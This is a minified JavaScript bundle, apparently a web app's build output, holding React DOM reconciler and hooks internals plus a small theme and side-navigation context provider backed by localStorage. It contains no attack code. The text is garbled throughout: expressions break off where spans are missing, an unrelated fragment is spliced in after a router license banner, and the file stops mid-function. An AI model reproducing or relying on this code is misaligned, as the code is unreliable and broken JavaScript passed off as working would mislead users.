a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qh(s){var a=Kr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Nt(n,e);var c=Nt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Fn=null,He=!1;function Ht(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==El(l)||(l=Ea,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&_n(Fn,l)||(Fn=l,l=Pl(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function K(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),js=ma(!1),Xa=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function As(s){return s=s.childContextTypes,s!=null}function ql(){S(js),S(os)}function zt(s,a,n){if(os.current!==ua)throw Error(w(168));K(os,a),K(js,n)}function Tr(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,_g(s)||"Unknown",p));return E({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,Xa=os.current,K(os,s),K(js,js.current),!0}function Dt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Tr(s,a,Xa),l.__reactInternalMemoizedMergedChildContext=s,S(js),S(os),K(os,s)):S(js),K(js,n)}var Qs=null,wp=!1,ne=!1;function Ur(s){Qs===null?Qs=[s]:Qs.push(s)}function gI(s){wp=!0,Ur(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=F;try{var n=Qs;for(F=1;s>=c,p-=c,Ts=1<<32-Fs(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Rs=j(h,G,N.value,y);if(Rs===null){G===null&&(G=x);break}s&&G&&Rs.alternate===null&&a(h,G),g=e(Rs,g,Y),k===null?W=Rs:k.sibling=Rs,k=Rs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return J&&Za(h,Y),W}for(G=l(h,G);!N.done;Y++,N=C.next())N=u(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return s&&G.forEach(function(un){return a(h,un)}),J&&Za(h,Y),W}function Z(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var W=C.key,k=g;k!==null;){if(k.key===W){if(W=C.type,W===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===W||typeof W=="object"&&W!==null&&W.$$typeof===na&&Ot(W)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=Dl(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,Z(h,g,k(C._payload),y)}if(fn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return Z}var on=ai(!0),ni=ai(!1),il={},Ds=ma(il),$n=ma(il),qn=ma(il);function Va(s){if(s===il)throw Error(w(174));return s}function Sc(s,a){switch(K(qn,a),K($n,s),K(Ds,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:Ze(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=Ze(a,s)}S(Ds),K(Ds,a)}function rn(){S(Ds),S($n),S(qn)}function li(s){Va(qn.current);var a=Va(Ds.current),n=Ze(a,s.type);a!==n&&(K($n,s),K(Ds,n))}function xc(s){$n.current===s&&(S(Ds),S($n))}var z=ma(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function Jc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{F=n,pe.transition=l}}function yi(){return Ys().memoizedState}function CI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},mi(s))bi(a,n);else if(n=Pr(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),wi(n,a,l)}}function jI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(mi(s))bi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Kc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=Pr(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),wi(n,a,l))}}function mi(s){var a=s.alternate;return s===D||a!==null&&a===D}function bi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function wi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,kc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},AI={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Sl(4194308,4,di.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Sl(4194308,4,s,a)},useInsertionEffect:function(s,a){return Sl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=CI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:Tc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=dI.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ci(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(oi.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ti.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Us,l=Ts;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return $c(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function WI(s,a){switch(Xc(a),a.tag){case 1:return us(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(js),S(os),Jc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return xc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Fc(a.type._context),null;case 22:case 23:return $c(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,BI=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var oo=!1;function GI(s,a){if(Fe=Ll,s=Mr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var A;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(A=d.firstChild)!==null;)j=d,d=A;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(A=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=A}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},Ll=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,B=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),B);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=oo,oo=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Hi(s){var a=s.alternate;a!==null&&(s.alternate=null,Hi(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[rI],delete a[iI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Fi(s){return s.tag===5||s.tag===3||s.tag===4}function ro(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Fi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Tn(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function io(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new BI),a.forEach(function(l){var p=FI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Xs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-Oc?fa(s,0):Lc|=n),As(s,a)}function Qi(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),As(s,n))}function HI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Qi(s,n)}function FI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Qi(s,n)}var Ti;Ti=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kI(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&Lr(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Dc(null,a,l,s,p,n);var e=Ec();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,us(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,Mc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=MI(l),s=vs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=eo(null,a,l,s,n);break s;case 11:a=lo(null,a,l,s,n);break s;case 14:a=po(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),eo(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,qr(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=co(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=co(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=li(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return pi(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Vi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Yi(s,a,n);case 4:return Sc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),lo(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),po(s,a,l,p,n);case 15:return Bi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),xl(s,a),a.tag=1,us(l)?(s=!0,sp(a)):s=!1,ln(a,n),ai(a,l,p),Te(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Ri(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ui(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new KI(s,a,n,l)}function st(s){return s=s.prototype,!(!s||!s.isReactComponent)}function MI(s){if(typeof s=="function")return st(s)?1:0;if(s!=null){if(s=s.$$typeof,s===yc)return 11;if(s===mc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function Dl(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")st(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case Ac:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case ue:return s=Gs(13,n,a,p),s.elementType=ue,s.lanes=e,s;case Ae:return s=Gs(19,n,a,p),s.elementType=Ae,s.lanes=e,s;case nr:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case yc:c=11;break s;case mc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function SI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ep(0),this.expirationTimes=Ep(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ep(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function at(s,a,n,l,p,e,c,t,o){return s=new SI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mc(e),s}function xI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Pi)}catch(s){console.error(s)}}Pi(),Lo.exports=ks;var QI=Lo.exports,$i,qi,yo=QI;qi=yo.createRoot,$i=yo.hydrateRoot;const sg={theme:"light",sideNav:!0,initialized:!1},ag=W.createContext({state:sg,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function et(){return W.useContext(ag)}function mo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const bo=({children:s})=>{const[a,n]=W.useState(sg);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),mo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),mo("sideNav",t)}return r.jsx(ag.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** - * @remix-run/router v1.14.1 +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function te(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Ue(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var mI=typeof WeakMap=="function"?WeakMap:Map;function ki(s,a,n){n=_s(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){ip||(ip=!0,lc=l),Ue(s,a)},n}function Zi(s,a,n){n=_s(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Ue(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Ue(s,a),typeof l!="function"&&(da===null?da=new Set([this]):da.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function qt(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new mI;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=NI.bind(null,s,a,n),a.then(s,s))}function so(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function ao(s,a,n,l,p){return 